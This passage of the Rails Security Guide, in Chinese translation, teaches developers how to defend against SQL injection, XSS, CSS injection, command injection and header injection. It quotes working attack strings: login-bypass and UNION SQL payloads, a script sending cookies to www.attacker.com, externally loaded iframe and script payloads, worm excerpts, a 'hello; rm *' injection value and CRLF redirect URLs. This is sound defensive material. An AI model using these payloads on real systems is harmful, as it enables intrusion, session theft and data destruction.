validates :content, format: { with: /^Meanwhile$/, multiline: true }

請注意,這只能保護您免於在使用格式驗證器時發生的最常見錯誤 - 您始終需要記住 ^ 和 $ 在 Ruby 中與開頭和行尾相符,而不是字串的開頭和結尾。

5.6 權限提升

變更單一參數可能會讓使用者取得未經授權的存取權限。請記住,每個參數都可能會被變更,不論您如何隱藏或混淆它。

使用者最常竄改的參數是 id 參數,例如在 http://www.domain.com/project/1 中,其中 1 是 id。它將在控制器中的 params 中提供。在那裡,您很可能會執行類似這樣的操作

@project = Project.find(params[:id])

這對於某些網路應用程式來說是可以的,但如果使用者未被授權檢視所有專案,則肯定不行。如果使用者將 id 變更為 42,而且他們不被允許查看該資訊,他們仍然可以存取它。相反地,也查詢使用者的存取權限

@project = @current_user.projects.find(params[:id])

根據您的網路應用程式,使用者可以竄改的參數還有很多。根據經驗法則,沒有使用者輸入資料是安全的,除非另有證明,而且使用者的每個參數都可能被竄改

別被混淆安全性及 JavaScript 安全性給愚弄了。開發人員工具可讓您檢閱和變更每個表單的隱藏欄位。JavaScript 可用來驗證使用者輸入資料,但絕對無法阻止攻擊者傳送具有意外值的惡意要求。DevTools 會記錄每個要求,並可能重複和變更這些要求。這是繞過任何 JavaScript 驗證的簡單方法。甚至還有用戶端代理程式,可讓您攔截任何來自或傳送至網際網路的要求和回應。

6 注入

注入是一類攻擊,會將惡意程式碼或參數引入網路應用程式,以便在應用程式的安全性環境中執行。注入的顯著範例包括跨網站指令碼 (XSS) 和 SQL 注入。

注入非常棘手,因為相同的程式碼或參數在一個環境中可能是惡意的,但在另一個環境中卻完全無害。環境可以是指令碼、查詢或程式語言、殼層或 Ruby/Rails 方法。下列各節將涵蓋所有可能發生注入攻擊的重要環境。不過,第一節涵蓋與注入相關的架構決策。

6.1 允許清單與限制清單

在清除、保護或驗證某項內容時,優先使用允許清單,而非限制清單。

限制清單可以是電子郵件黑名單、非公開動作或不良 HTML 標籤清單。這與允許清單相反,允許清單會列出良好的電子郵件地址、公開動作、良好的 HTML 標籤等。雖然有時無法建立允許清單(例如在垃圾郵件篩選器中),但優先使用允許清單方法

  • 對於與安全性相關的動作,請使用 before_action except: [...],而非 only: [...]。這樣一來,您就不會忘記為新增加的動作啟用安全性檢查。
  • 針對跨網站指令碼 (XSS),請允許 <strong>,而非移除 <script>。有關詳細資訊,請參閱下方說明。
  • 請勿嘗試使用限制清單來修正使用者輸入
    • 這會讓攻擊奏效:"<sc<script>ript>".gsub("<script>", "")
    • 但請拒絕格式錯誤的輸入

允許清單也是一種良好的方法,可避免人為因素在限制清單中遺漏某些內容。

6.2 SQL 注入

感謝聰明的方法,這在大部分 Rails 應用程式中幾乎不是個問題。然而,這是在網路應用程式中非常具毀滅性且常見的攻擊,因此了解問題很重要。

6.2.1 簡介

SQL 注入攻擊的目標是透過操縱網路應用程式參數來影響資料庫查詢。SQL 注入攻擊的熱門目標是繞過授權。另一個目標是執行資料操作或讀取任意資料。以下是範例,說明如何在查詢中不使用使用者輸入資料

Project.where("name = '#{params[:name]}'")

這可能是搜尋動作,而使用者可能會輸入他們想要尋找的專案名稱。如果惡意使用者輸入 ' OR 1) --,產生的 SQL 查詢將會是

SELECT * FROM projects WHERE (name = '' OR 1) --')

兩個破折號開始註解,忽略之後的所有內容。因此查詢會傳回專案資料表中的所有記錄,包括使用者看不到的記錄。這是因為條件對所有記錄都是成立的。

6.2.2 繞過授權

網路應用程式通常包含存取控制。使用者輸入他們的登入憑證,而網路應用程式會嘗試在使用者資料表中尋找相符的記錄。當應用程式找到記錄時,就會授予存取權。然而,攻擊者可能會使用 SQL 注入來繞過此檢查。以下是 Rails 中典型的資料庫查詢,用於尋找使用者資料表中第一個與使用者提供的登入憑證參數相符的記錄。

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

如果攻擊者輸入 ' OR '1'='1 作為名稱,以及 ' OR '2'>'1 作為密碼,產生的 SQL 查詢將會是

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

這只會找到資料庫中的第一個記錄,並授予此使用者存取權。

6.2.3 未經授權的讀取

UNION 陳述式會連接兩個 SQL 查詢,並在一個集合中傳回資料。攻擊者可以使用它來從資料庫中讀取任意資料。讓我們來看上面的範例

Project.where("name = '#{params[:name]}'")

現在讓我們使用 UNION 敘述注入另一個查詢

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

這將產生下列 SQL 查詢

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

結果不會是專案清單(因為沒有專案名稱為空值),而是使用者名稱和密碼清單。因此,希望您已在資料庫中安全雜湊密碼!攻擊者唯一的問題是,兩個查詢中的欄位數必須相同。這就是為什麼第二個查詢包含一個 1 清單(1),它將永遠是值 1,以符合第一個查詢中的欄位數。

此外,第二個查詢使用 AS 敘述重新命名一些欄位,以便網路應用程式顯示使用者表格中的值。請務必將 Rails 更新至至少 2.1.1

6.2.4 對策

Ruby on Rails 內建一個特殊 SQL 字元的篩選器,它將跳脫 '"、NULL 字元和換行符號。使用 Model.find(id)Model.find_by_something(something) 會自動套用此對策。但在 SQL 片段中,特別是在條件片段(where("..."))、connection.execute()Model.find_by_sql() 方法中,必須手動套用

您可以使用位置處理常式來清除受污染的字串,而不是傳遞字串,如下所示

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

第一個參數是包含問號的 SQL 片段。第二個和第三個參數會以變數的值取代問號。

您也可以使用命名處理常式,值將從使用的雜湊中取得

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

此外,您可以拆分和串連對您的使用案例有效的條件

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

請注意,先前提到的對策僅在模型實例中可用。您可以在其他地方嘗試sanitize_sql養成在 SQL 中使用外部字串時考慮安全性後果的習慣

6.3 網際網路跨站指令碼 (XSS)

XSS 是網際網路應用程式中散布最廣、破壞力最強的安全漏洞之一。這種惡意攻擊會注入用戶端可執行的程式碼。Rails 提供輔助方法來抵禦這些攻擊。

6.3.1 進入點

進入點是攻擊者可以發動攻擊的易受攻擊網址及其參數。

最常見的進入點是訊息文章、使用者留言和留言板,但是專案標題、文件名稱和搜尋結果頁面也曾經發生過漏洞 - 幾乎所有使用者可以輸入資料的地方都有可能發生。但是輸入資料不一定要來自網站上的輸入方塊,它可以存在於任何網址參數中 - 明顯的、隱藏的或內部的。請記住,使用者可能會攔截任何流量。應用程式或用戶端網站代理程式可以輕易變更要求。還有其他攻擊媒介,例如橫幅廣告。

XSS 攻擊的運作方式如下:攻擊者注入一些程式碼,網路應用程式會儲存該程式碼並在頁面上顯示,稍後會顯示給受害者。大多數 XSS 範例只會顯示一個警示方塊,但它比這更強大。XSS 可以竊取 cookie、劫持工作階段、將受害者重新導向到一個假的網站、顯示對攻擊者有利的廣告、變更網站上的元素以取得機密資訊,或透過網路瀏覽器的安全漏洞安裝惡意軟體。

2007 年下半年,Mozilla 瀏覽器共報告了 88 個漏洞,Safari 22 個,IE 18 個,Opera 12 個。Symantec 全球網路安全威脅報告也記錄了 2007 年下半年的 239 個瀏覽器外掛程式漏洞。Mpack 是一個非常活躍且最新的攻擊架構,可利用這些漏洞。對犯罪駭客而言,在 Web 應用程式架構中利用 SQL 注入漏洞並在每個文字表格欄位中插入惡意程式碼非常有吸引力。2008 年 4 月,超過 510,000 個網站遭到此類駭客攻擊,其中包括英國政府、聯合國和許多其他知名目標。

6.3.2 HTML/JavaScript 注入

最常見的 XSS 語言當然是最受歡迎的用戶端腳本語言 JavaScript,通常與 HTML 結合使用。過濾使用者輸入至關重要

以下是檢查 XSS 最直接的測試

<script>alert('Hello');</script>

此 JavaScript 程式碼只會顯示一個警示方塊。以下範例執行完全相同的動作,只不過出現在非常不尋常的地方

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">

這些範例到目前為止並未造成任何危害,因此讓我們看看攻擊者如何竊取使用者的 Cookie(並劫持使用者的工作階段)。在 JavaScript 中,您可以使用 document.cookie 屬性來讀取和寫入文件的 Cookie。JavaScript 執行相同的來源政策,這表示來自一個網域的腳本無法存取另一個網域的 Cookie。document.cookie 屬性持有原始網路伺服器的 Cookie。但是,如果您將程式碼直接嵌入 HTML 文件(就像 XSS 發生時一樣),您可以讀取和寫入此屬性。將此程式碼注入您的 Web 應用程式的任何位置,即可在結果頁面上看到自己的 Cookie

<script>document.write(document.cookie);</script>

對攻擊者來說,這當然沒用,因為受害者會看到自己的 Cookie。下一個範例會嘗試從 URL http://www.attacker.com/ 加上 Cookie 來載入圖片。當然這個 URL 並不存在,所以瀏覽器不會顯示任何東西。但攻擊者可以檢閱他們網路伺服器的存取記錄檔,以查看受害者的 Cookie。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com 上的記錄檔會讀取如下

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

你可以透過在 Cookie 中加入 httpOnly 標記來減輕這些攻擊(以明顯的方式),以便 JavaScript 無法讀取 document.cookie。HTTP 只限 Cookie 可以從 IE v6.SP1、Firefox v2.0.0.5、Opera 9.5、Safari 4 和 Chrome 1.0.154 開始使用。但其他較舊的瀏覽器(例如 WebTV 和 Mac 上的 IE 5.5)實際上可能會導致頁面載入失敗。請注意,Cookie 仍會使用 Ajax 可見

6.3.2.2 毀損

透過網頁毀損,攻擊者可以做很多事,例如,提供錯誤資訊或引誘受害者到攻擊者的網站,以竊取 Cookie、登入憑證或其他敏感資料。最流行的方式是透過 iframe 從外部來源包含程式碼

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

這會從外部來源載入任意的 HTML 和/或 JavaScript,並將其嵌入為網站的一部分。這個 iframe 取自使用 Mpack 攻擊架構 對合法義大利網站的實際攻擊。Mpack 嘗試透過網路瀏覽器中的安全漏洞安裝惡意軟體 - 非常成功,50% 的攻擊都成功了。

更專業的攻擊手法可能會覆蓋整個網站或顯示一個登入表單,看起來與網站原本的登入表單一樣,但會將使用者名稱和密碼傳送給攻擊者的網站。或者,它可以使用 CSS 和/或 JavaScript 隱藏網路應用程式中的合法連結,並在它的位置顯示另一個連結,重新導向到一個假的網站。

反射式注入攻擊是指酬載不會儲存起來,稍後再呈現給受害者,而是包含在 URL 中。特別是搜尋表單無法跳脫搜尋字串。下列連結顯示一個頁面,其中指出:「喬治布希任命一個 9 歲男孩擔任主席...」

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 對策

過濾惡意輸入非常重要,但跳脫網路應用程式的輸出也很重要.

特別是對於 XSS,執行「允許輸入過濾,而非限制輸入過濾」很重要。允許清單過濾指出允許的值,而不是不允許的值。限制清單永遠不會完整。

想像一個限制清單從使用者輸入中刪除「script」。現在攻擊者注入「<scrscriptipt>」,在過濾後,仍然會保留「<script>」。早期版本的 Rails 對「strip_tags()」、「strip_links()」和「sanitize()」方法使用限制清單方法。因此,這種注入是可能的

strip_tags("some<<b>script>alert('hello')<</b>/script>")

這會傳回「some<script>alert('hello')</script>」,這會讓攻擊奏效。這就是為什麼允許清單方法更好,使用更新的 Rails 2 方法「sanitize()」

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

這只允許給定的標籤,並且執行得很好,即使針對各種技巧和格式錯誤的標籤也是如此。

作為第二個步驟,「跳脫應用程式的所有輸出」是很好的做法,特別是在重新顯示使用者輸入時,而這些輸入尚未經過輸入過濾(如前面搜尋表單的範例)。使用「html_escape()」(或其別名「h()」)方法來取代 HTML 輸入字元「&」、「"」、「<」和「>」,改用它們在 HTML 中未經詮釋的表示方式(「&amp;」、「&quot;」、「&lt;」和「&gt;」)。

6.3.2.4 混淆和編碼注入

網路流量大多基於有限的西方字母,因此出現了新的字元編碼,例如 Unicode,用於傳輸其他語言的字元。但是,這也對網路應用程式構成威脅,因為惡意程式碼可以隱藏在網路瀏覽器可能可以處理但網路應用程式可能無法處理的不同編碼中。以下是 UTF-8 編碼中的攻擊媒介

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

這個範例會彈出一個訊息方塊。不過,它會被上述的 sanitize() 篩選器辨識出來。一個混淆和編碼字串的絕佳工具,因此「了解你的敵人」,就是 Hackvertor。Rails 的 sanitize() 方法可以有效抵禦編碼攻擊。

6.3.3 地下世界的範例

為了了解今日對網路應用程式的攻擊,最好看看一些真實世界的攻擊媒介。

以下是 Js.Yamanner@m Yahoo! Mail 蠕蟲 的摘錄。它出現在 2006 年 6 月 11 日,是第一個網路郵件介面蠕蟲

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

這些蠕蟲利用 Yahoo 的 HTML/JavaScript 篩選器中的漏洞,該篩選器通常會從標籤中篩選所有目標和 onload 屬性(因為可能會有 JavaScript)。然而,篩選器只套用一次,因此帶有蠕蟲程式碼的 onload 屬性會保留在原處。這是一個很好的範例,說明為什麼受限清單篩選器永遠無法完整,以及為什麼難以在網路應用程式中允許 HTML/JavaScript。

另一種概念驗證網路郵件蠕蟲是 Nduja,一種跨網域蠕蟲,適用於四種義大利網路郵件服務。在 Rosario Valotta 的論文 中找到更多詳細資訊。這兩種網路郵件蠕蟲的目標都是收集電子郵件地址,這是犯罪駭客可以賺錢的方式。

2006 年 12 月,34,000 個實際使用者名稱和密碼在 MySpace 網路釣魚攻擊 中被竊取。攻擊的想法是建立一個名為「login_home_index_html」的個人資料頁面,因此網址看起來非常令人信服。特別製作的 HTML 和 CSS 用於隱藏頁面上的真實 MySpace 內容,並顯示自己的登入表單。

6.4 CSS 注入

CSS 注入實際上是 JavaScript 注入,因為有些瀏覽器(IE、某些版本的 Safari 等)允許在 CSS 中使用 JavaScript。在網路應用程式中允許自訂 CSS 時,請三思而後行。

CSS 注入最能說明的是著名的 MySpace Samy 蠕蟲。此蠕蟲會自動向 Samy(攻擊者)發送好友請求,只要造訪他的個人資料即可。在幾個小時內,他收到了超過 100 萬個好友請求,造成了大量的流量,導致 MySpace 斷線。以下是該蠕蟲的技術說明。

MySpace 阻擋了許多標籤,但允許 CSS。因此,蠕蟲作者將 JavaScript 放入 CSS 中,如下所示

<div style="background:url('javascript:alert(1)')">

因此,有效負載在 style 屬性中。但有效負載中不允許有引號,因為單引號和雙引號已經使用過了。但 JavaScript 有個方便的 eval() 函式,可以將任何字串當作程式碼執行。

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval() 函式對於受限清單輸入篩選器來說是一場惡夢,因為它允許 style 屬性隱藏「innerHTML」這個字。

alert(eval('document.body.inne' + 'rHTML'));

接下來的問題是 MySpace 過濾字詞 "javascript",因此作者使用 "java<NEWLINE>script" 來解決這個問題

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

蠕蟲作者的另一個問題是 CSRF 安全權杖。沒有它們,他無法透過 POST 傳送好友請求。他透過在新增使用者前傳送 GET 到頁面,並剖析結果以取得 CSRF 權杖來解決這個問題。

最後,他得到一個 4 KB 的蠕蟲,並將它注入到他的個人資料頁面。

moz-binding CSS 屬性證明了在 Gecko 為基礎的瀏覽器(例如 Firefox)中,這是另一種在 CSS 中引入 JavaScript 的方法。

6.4.1 對策

這個範例再次顯示,受限清單過濾器永遠不完整。然而,由於自訂 CSS 在網路應用程式中是一個相當罕見的功能,因此可能很難找到一個好的允許 CSS 過濾器。如果您想要允許自訂顏色或圖片,您可以允許使用者選擇它們,並在網路應用程式中建立 CSS。如果您真的需要的話,請使用 Rails 的 sanitize() 方法作為允許 CSS 過濾器的範例。

6.5 Textile 注入

如果您想要提供除了 HTML 以外的文字格式(由於安全性),請使用一種在伺服器端轉換為 HTML 的標記語言。 RedCloth 就是 Ruby 的一種語言,但如果不採取預防措施,它也容易受到 XSS 攻擊。

例如,RedCloth 會將 _test_ 轉換為 <em>test<em>,這會讓文字變成斜體。然而,直到目前的版本 3.0.4,它仍然容易受到 XSS 攻擊。取得 全新版本 4,它已移除嚴重的錯誤。然而,即使是該版本也有一些 安全性錯誤,因此對策仍然適用。以下是版本 3.0.4 的範例

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

使用 :filter_html 選項來移除未由 Textile 處理器建立的 HTML。

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

然而,這並不會過濾所有 HTML,一些標籤會被保留(依設計),例如 <a>

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

6.5.1 對策

建議將 RedCloth 與允許輸入的篩選器結合使用,如 XSS 防護措施部分所述。

6.6 Ajax 注入

必須對 Ajax 動作採取與「一般」動作相同的安全預防措施。然而,至少有一個例外:如果動作不會呈現檢視,則輸出必須已在控制器中逸出。

如果你使用 in_place_editor 外掛程式,或會傳回字串而非呈現檢視的動作,你必須在動作中逸出傳回值。否則,如果傳回值包含 XSS 字串,惡意程式碼將在傳回瀏覽器時執行。使用 h() 方法逸出任何輸入值。

6.7 命令列注入

小心使用使用者提供的命令列參數。

如果你的應用程式必須在底層作業系統中執行命令,Ruby 中有幾個方法:system(command)exec(command)spawn(command)`command`。如果你讓使用者輸入整個命令或其中一部分,你必須特別小心使用這些函式。這是因為在大部分 shell 中,你可以在第一個命令的結尾執行另一個命令,使用分號 (;) 或垂直線 (|) 將它們串接起來。

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory

因應對策是使用 system(command, parameters) 方法,它可以安全地傳遞命令列參數

system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files

6.7.1 Kernel#open 的漏洞

Kernel#open 執行作業系統命令,如果參數以垂直線 (|) 開頭。

open('| ls') { |file| file.read }
# returns file list as a String via `ls` command

因應對策是改用 File.openIO.openURI#open。它們不會執行作業系統命令。

File.open('| ls') { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists

IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument

require 'open-uri'
URI('https://example.com').open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`

6.8 標頭注入

HTTP 標頭是動態產生的,在某些情況下,使用者輸入可能會被注入。這可能導致錯誤的重新導向、XSS 或 HTTP 回應拆分。

HTTP 要求標頭有 Referer、User-Agent(用戶端軟體)和 Cookie 欄位,以及其他欄位。回應標頭例如有狀態碼、Cookie 和 Location(重新導向目標網址)欄位。所有這些都是使用者提供的,而且或多或少都可以被竄改。請記得也要跳脫這些標頭欄位。例如,當你在管理區域顯示使用者代理時。

除此之外,在根據使用者輸入部分建立回應標頭時,重要的是要知道你在做什麼。例如,你想要將使用者重新導向回特定頁面。為此,你在表單中加入一個「referer」欄位,以重新導向到指定的位址

redirect_to params[:referer]

Rails 會將字串放入 Location 標頭欄位,並傳送 302(重新導向)狀態給瀏覽器。惡意使用者會做的第一件事就是這樣

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

而且由於(Ruby 和)Rails 在 2.1.2 版本之前(不含此版本)有一個錯誤,駭客可能會注入任意標頭欄位;例如像這樣

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

請注意,%0d%0a\r\n 的 URL 編碼,而 \r\n 是 Ruby 中的換行符號和行饋送(CRLF)。因此,第二個範例的結果 HTTP 標頭會如下所示,因為第二個 Location 標頭欄位會覆寫第一個。

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

因此,標頭注入的攻擊媒介是基於標頭欄位中 CRLF 字元的注入。攻擊者可以對錯誤的重新導向做什麼?他們可以重新導向到一個看起來與你的網站一樣的網路釣魚網站,但要求再次登入(並將登入憑證傳送給攻擊者)。或者他們可以透過該網站上的瀏覽器安全漏洞安裝惡意軟體。Rails 2.1.2 會對 redirect_to 方法中的位置欄位逸出這些字元。當你使用使用者輸入建立其他標頭欄位時,請務必自行執行此動作。

6.8.1 DNS 重新繫結和主機標頭攻擊

DNS 重新繫結是一種用於操縱網域名稱解析的方法,通常用作電腦攻擊的形式。DNS 重新繫結透過濫用網域名稱系統 (DNS) 來規避同源政策。它會將網域重新繫結到不同的 IP 位址,然後透過從已變更的 IP 位址對你的 Rails 應用程式執行隨機程式碼來危害系統。

建議使用 ActionDispatch::HostAuthorization 中介軟體來防範 DNS 重新繫結和其他主機標頭攻擊。它在開發環境中預設啟用,你必須在生產環境和其他環境中設定允許的主機清單才能啟用它。你也可以設定例外情況並設定你自己的回應應用程式。

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # Exclude requests for the /healthcheck/ path from host checking
  exclude: ->(request) { request.path.include?("healthcheck") },
  # Add custom Rack application for the response
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

你可以在 ActionDispatch::HostAuthorization 中介軟體文件 中閱讀更多相關資訊

6.8.2 回應拆分

如果標頭注入是可行的,回應拆分也可能是可行的。在 HTTP 中,標頭區塊後面跟著兩個 CRLF 和實際資料(通常是 HTML)。回應拆分的概念是將兩個 CRLF 注入標頭欄位,接著再注入另一個回應,其中包含惡意的 HTML。回應將會是

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

在某些情況下,這會向受害者顯示惡意的 HTML。然而,這似乎只適用於保持連線連線(而且許多瀏覽器使用一次性連線)。但是,您不能依賴於此。無論如何,這是一個嚴重的錯誤,您應該將 Rails 更新至版本 2.0.5 或 2.1.2,以消除標頭注入(以及回應拆分)風險。

7 不安全的查詢產生

由於 Active Record 解釋參數的方式,加上 Rack 分析查詢參數的方式,因此有可能使用 IS NULL where 子句發出意外的資料庫查詢。作為對該安全問題的回應(CVE-2012-2660CVE-2012-2694CVE-2013-0155),deep_munge 方法被引入作為一個解決方案,以預設保持 Rails 安全。

如果未執行 deep_munge,攻擊者可以使用下列範例的易受攻擊程式碼

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token] 是下列其中一個時:[nil][nil, nil, ...]['foo', nil],它將繞過對 nil 的測試,但是 IS NULLIN ('foo', NULL) where 子句仍將新增至 SQL 查詢。

為了預設保持 Rails 安全,deep_munge 會將一些值替換為 nil。下表顯示參數在請求中傳送的 JSON 為基礎時的外觀

JSON 參數
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

如果您了解風險並知道如何處理,可以返回舊行為並停用應用程式的 deep_munge 設定

config.action_dispatch.perform_deep_munge = false

8 HTTP 安全標頭

為了改善應用程式的安全性,可以設定 Rails 回傳 HTTP 安全標頭。有些標頭預設會設定;其他則需要明確設定。

8.1 預設安全標頭

預設情況下,Rails 會設定回傳下列回應標頭。您的應用程式會針對每個 HTTP 回應回傳這些標頭。

8.1.1 X-Frame-Options

X-Frame-Options 標頭表示瀏覽器是否可以在 <frame><iframe><embed><object> 標籤中呈現頁面。此標頭預設設定為 SAMEORIGIN,只允許在同一個網域中嵌入框架。將其設定為 DENY 以完全禁止嵌入框架,或者如果您想要允許在所有網域中嵌入框架,請完全移除此標頭。

8.1.2 X-XSS-Protection

一個 已棄用的舊版標頭,在 Rails 中預設設定為 0,以停用有問題的舊版 XSS 稽核程式。

8.1.3 X-Content-Type-Options

X-Content-Type-Options 標頭在 Rails 中預設設定為 nosniff。它會阻止瀏覽器猜測檔案的 MIME 類型。

8.1.4 X-Permitted-Cross-Domain-Policies

此標頭在 Rails 中預設設定為 none。它禁止 Adobe Flash 和 PDF 用戶端在其他網域中嵌入您的頁面。

8.1.5 Referrer-Policy

在 Rails 中,Referrer-Policy 標頭預設設定為 strict-origin-when-cross-origin。對於跨來源要求,這只會在 Referer 標頭中傳送來源。這可防止從完整 URL 的其他部分存取的私人資料外洩,例如路徑和查詢字串。

8.1.6 設定預設標頭

這些標頭預設設定如下

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '0',
  'X-Content-Type-Options' => 'nosniff',
  'X-Permitted-Cross-Domain-Policies' => 'none',
  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

您可以在 config/application.rb 中覆寫這些標頭或新增額外標頭

config.action_dispatch.default_headers['X-Frame-Options'] = 'DENY'
config.action_dispatch.default_headers['Header-Name']     = 'Value'

或者您可以移除它們

config.action_dispatch.default_headers.clear

8.2 Strict-Transport-Security 標頭

HTTP Strict-Transport-Security (HTST) 回應標頭可確保瀏覽器自動將目前和未來的連線升級為 HTTPS。

在啟用 force_ssl 選項時,會將標頭新增至回應。

config.force_ssl = true

8.3 Content-Security-Policy 標頭

建議為您的應用程式定義 Content-Security-Policy 回應標頭,以協助防範 XSS 和注入攻擊。Rails 提供一個 DSL,讓您可以設定標頭。

在適當的初始化程式中定義安全性政策

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # Specify URI for violation reports
  policy.report_uri "/csp-violation-report-endpoint"
end

可針對每個資源覆寫全域設定的政策

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

或者可以停用它

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

使用 lambda 注入每個要求的值,例如多租戶應用程式中的帳戶子網域

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

8.3.1 回報違規

啟用 report-uri 指令,以將違規回報至指定的 URI

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

在移轉舊有內容時,您可能想要回報違規,但不要強制執行政策。設定 Content-Security-Policy-Report-Only 回應標頭,以只回報違規

Rails.application.config.content_security_policy_report_only = true

或者在控制器中覆寫它

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

8.3.2 新增 Nonce

如果您正在考慮使用 'unsafe-inline',請考慮改用隨機數。 在現有程式碼上實作內容安全政策時,隨機數會比 'unsafe-inline' 有大幅改善

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

設定隨機數產生器時,有幾個權衡因素需要考量。使用 SecureRandom.base64(16) 是個不錯的預設值,因為它會為每個要求產生一個新的隨機數。不過,這種方法與 條件式 GET 快取 不相容,因為新的隨機數會導致每個要求產生新的 ETag 值。除了針對每個要求產生隨機數之外,另一個替代方案是使用階段識別碼

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

這種產生方法與 ETag 相容,但其安全性取決於階段識別碼是否夠隨機,且未在不安全的 cookie 中公開。

預設情況下,如果定義了隨機數產生器,隨機數會套用至 script-srcstyle-srcconfig.content_security_policy_nonce_directives 可用於變更哪些指令會使用隨機數

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

一旦在初始化程式中設定好隨機數產生,即可透過傳遞 nonce: true 作為 html_options 的一部分,將自動隨機數值新增至 script 標籤

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

javascript_include_tag 也適用相同的做法

<%= javascript_include_tag "script", nonce: true %>

使用 csp_meta_tag 輔助程式,建立一個具有每個階段隨機數值的 meta 標籤「csp-nonce」,以允許內嵌 <script> 標籤。

<head>
  <%= csp_meta_tag %>
</head>

Rails UJS 輔助程式使用此方法,建立動態載入的內嵌 <script> 元素。

8.4 Feature-Policy 標頭

Feature-Policy 標頭已重新命名為 Permissions-PolicyPermissions-Policy 需要不同的實作,而且目前並非所有瀏覽器都支援。為避免未來必須重新命名此中間軟體,我們目前對中間軟體使用新名稱,但保留舊標頭名稱和實作。

若要允許或封鎖瀏覽器功能的使用,您可以為應用程式定義 Feature-Policy 回應標頭。Rails 提供了一個 DSL,讓您可以設定標頭。

在適當的初始化程式中定義政策

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end

可針對每個資源覆寫全域設定的政策

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

8.5 跨來源資源分享

瀏覽器會限制從腳本發起的跨來源 HTTP 要求。如果您想將 Rails 作為 API 執行,並在獨立網域上執行前端應用程式,您需要啟用 跨來源資源分享 (CORS)。

您可以使用 Rack CORS 中介軟體來處理 CORS。如果您已使用 --api 選項產生應用程式,Rack CORS 可能已經設定完成,您可以略過下列步驟。

